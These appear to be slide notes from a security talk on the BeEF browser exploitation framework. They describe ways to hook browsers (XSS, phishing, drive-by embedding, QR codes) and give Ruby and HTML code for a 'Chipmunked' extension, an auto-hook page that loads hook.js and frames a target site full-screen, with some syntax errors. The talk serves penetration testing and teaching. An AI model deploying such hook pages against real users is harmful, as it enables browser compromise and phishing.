- Introduction
- Traditional external pen testing tale of woe
- Many environments have hardened exteriors but less protected interiors
http://www.flickr.com/photos/sidereal/2355999910/sizes/o/in/photostream/
- How effective can your penetration testing be if all you're doing is assessing a single external system ...
without putting it in the context of the whole environment?

http://forums.untangle.com/runkel/Logical-Network-Diagram.gif
I call this the state of modern pen testing, you can’t just knock on the perimeter, you have to pivot through clients.

*nb: not real statistics
- offsite SMTP
- 3rd party (or different) location web hosting
- VPNs
- Proxies
- Small to zero attack surface

.. The attack surface is shrinking.
Where’s the data?

- Internal systems are where the information is held, or via web portals to *aaS providers .. and
- We can't gain access to these systems and their information without pivoting through a client.
- Metasploit, in particular combined with SET, is effective at providing this pivot point
- What if the target environment is patched? Against known Metasploit exploits.
Between full blown exploitation and pure social engineering

- This is the advantage point the BeEF has, to happily sit in the browser.
Lots of HTTP

- Lots of websites (@jeremiahg mentioned ~30mil new websites a month)
- So what is BeEF? For those who don't know, it's the Browser Exploitation Framework
PHP BeEF

- Originally announced on ha.ckers.org in 2006 based entirely PHP by Wade Alcorn
- In its old incarnation BeEF was a great tool to demonstrate just how nasty XSS flaws could be (Instead of the typical alert(1); dialog)
Method of pivoting, method of penetration

- and trying to become an all-round go-to platform for client-side exploitation development.
- The framework allows a penetration tester to select specific modules in real time to target against a hooked browser within its current context (which will provide different, unique, attack vectors)
Moving to the future
- These days BeEF is developed in Ruby (like Metasploit), with stacks of Javascript (we roll jQuery in there for command modules too)
BeEF Architecture

Framework (slide thanks to Michele @antisnatchor Orru)
I like utilising Amazon’s EC2 instances. We have a blog post on how to quickly run up a fully blown BeEF instance in no time. .. BeEF Cloud
Ruby BeEF
Create Alert Dialog

Description: Sends an alert dialog to the hooked browser.

Alert text: BeEF Alert Dialog
Our dev team rely on modern agile development techniques, including a Continuous Integration service via Jenkins, utilising Rake test unit, selenium, capybara etc etc
BeEF Trilogy ("Who is your father?")

Beef is currently made up of 3 main components:
Firstly is the core..

http://www.imdb.com/media/rm1627756544/tt0298814
- The Core
- Central API
- Filters
- Primary client-side javascript
- Server-side asset handling and web servicing
- Ruby extensions
- Database models
- Hooking methods to load and manage arbitrary extensions and command modules
Extensions
- Extensions

- Where you need to provide fairly tightly coupled functionality into the core, the extensions provide the developer with various API firing points, such as mounting new URL points. Currently beef has extensions for the admin web ui, the console, demo pages, event handling, initialisation of hooked browsers, metasploit, proxy, requester and the xssrays functionality.
Command Modules

- Command Modules

- Command modules are where individually packaged HTML/JS packages are stored, currently these are broken down into the following categories: browser, debugging, host, misc, network, persistence, recon, router. Anything you want to do in Javascript, HTML, Java, <insert arbitrary browser acceptable language> can be done.
It always starts with Hooking

The first step in getting a browser into the framework is to get it to execute the BeEF payload, there’s a few methods of achieving this:
Hooking Browsers

- XSS
- Social Engineering (i.e. tiny URL, or phishing via email)
- Embedding the payload (think drive-by-download)
- Maintaining persistence after already being hooked (think Tab BeEF Injection)
(Ab)use Cases
Credit to Michele @antisnatchor Orru and Gareth Hayes for creating XSSRays
Tunnelling Proxy

http://www.youtube.com/watch?v=Z4cHyC3Iowk&lr

http://www.youtube.com/watch?v=Z4cHyC3Iowk&lr
Hooking Mobile Devices

http://www.youtube.com/watch?v=5SVu6VdLWgs
Teach a man to Fish BeEF...

So let's look at how we can customise BeEF.. first we'll look at a simple command module.
RouterPwn.com

- Compilation of ready to run JS/HTML exploits against many consumer routers
- Designed to be run on smart phones
- Great candidate for a collection of BeEF Command Modules

RouterPwn, from websec.ca’s Roberto Salgado
Each module resides of at least 3 files, the config file (in yaml format), the ruby module file, and the javascript file. The files are populated into categories, as touched on before.
Each config file contains the category, the name, a description, the authors and targeting configuration (This allows you to specify things like Safari only, or “user notify” for iPhone and Safari etc)
The module’s ruby file, in it’s simplest form, is used to configure what options are configurable, via the `self.options` method – and what to do with returned results.
And here is most of the javascript content. We utilise eruby for variable substitution (as can be seen where we’re pulling in the previously set ip and dns settings). You can also notice in this javascript we use a JS object called beef. This is the core beef library within the framework, and has a lot of functionality in-built, such as creating invisible iframes.
Here you can see what the user is presented with in the UI.
Introducing “Chipmunking” ..named, at least at the moment, in reference to movie posters, in particular, this movie poster... so QR codes are .. everywhere..
I mean .. Everywhere .. and they’re only becoming more ubiquitous
So let's put together a new extension for BeEF. Let's build a custom hook point (URL) that if you (or your victims) visit it, will be hooked into BeEF, and immediately presented with a full-screen iFrame of the target site. We'll then use the current QRCode Extension into BeEF to generate this QR code for us too.
Similar to command modules, extensions require a few files. The config file (again, a yaml file) and then the extension ruby file itself.
module BeEF
module Extension
module Chipmunked
  extend BeEF::API::Extension

@short_name = 'chipmunked'

@full_name = 'chipmunked'

@description = 'an auto hook and full-screen iframe-ise – demonstrating extension creation and social engineering attacks'
end
end
end

require 'extensions/chipmunked/api'
require 'extensions/chipmunked/handler'
module BeEF
module Extension
module Chipmunked

module RegisterHttpHandlers
  BeEF::API::Registrar.instance.register(BeEF::Extension::Chipmunked::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
  def self.mount_handler(beef_server)
    configuration = BeEF::Core::Configuration.instance
    beef_server.mount(configuration.get("beef.extension.chipmunked.chipmunk_path"), BeEF::Extension::Chipmunked::Handler.new)
  end
end
end
end

“/yougotchipmunked”
<html>
<head>
<title>@chipmunktitle %></title>
<script>
    var commandModuleStr = '<script src="' + window.location.protocol + '//" + window.location.host + '/hook.js" type="text/javascript"></script>';
    document.write(commandModuleStr);
</script>
</head>

<body>
<script>
    setTimeout("beef.dom.createIframe('fullscreen','get',{src:''@chipmunktarget %'>'}),{},null)",2000);
    document.body.scroll = "no"
    document.documentElement.style.overflow = 'hidden';
    //Porco dio - and away we go!
</script>
</body>
</html>
Handles the requests to /yougotchipmunked

```ruby
module BeEF
module Extension
module Chipmunked

class Handler
  def call(env)
    @body = ''
    @request = Rack::Request.new(env)
    @params = @request.query_string
    @response = Rack::Response.new(body=[], 200, header={})
    config = BeEF::Core::Configuration.instance

    eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/'+html/index.html'))

    @body << eruby.evaluate({'chipmunktarget' => config.get("beef.extension.chipmunked.chipmunktarget"),
                                     'chipmunktitle' => config.get("beef.extension.chipmunked.chipmunktitle"))

    @response = Rack::Response.new(
      body = [@body],
      status = 200,
      header = {
        'Pragma' => 'no-cache',
        'Cache-Control' => 'no-cache',
        'Expires' => '0',
        'Content-Type' => 'text/html',
        'Access-Control-Allow-Origin' => '*',
        'Access-Control-Allow-Methods' => 'POST, GET'
      }
    )

  end

private
```
Wrapping it together
(here qr code qr code)
---
# QR Code Generator

**name:** 'QR Code Generator'
**enable:** true

**authors:** "["xntrik"]"
**target:** "[/yougotchipmunked]"
**qrszize:** "300x300"
[ec2-user@ip-10-142-54-156 ~]$ sudo ./beef -v
Demo

http://www.youtube.com/watch?v=aTLHeMrNBFQ&hd=1
Where to from here?
If you get stuck .. or if we get stuck..
Help us out!
Pull Requests Please
github.com/beefproject/beef
beefproject.com
@beefproject
Want to talk more?
@xntrik

christian.frichot@asteriskinfosec.com.au
Questions?

Hehe .. “Descisions”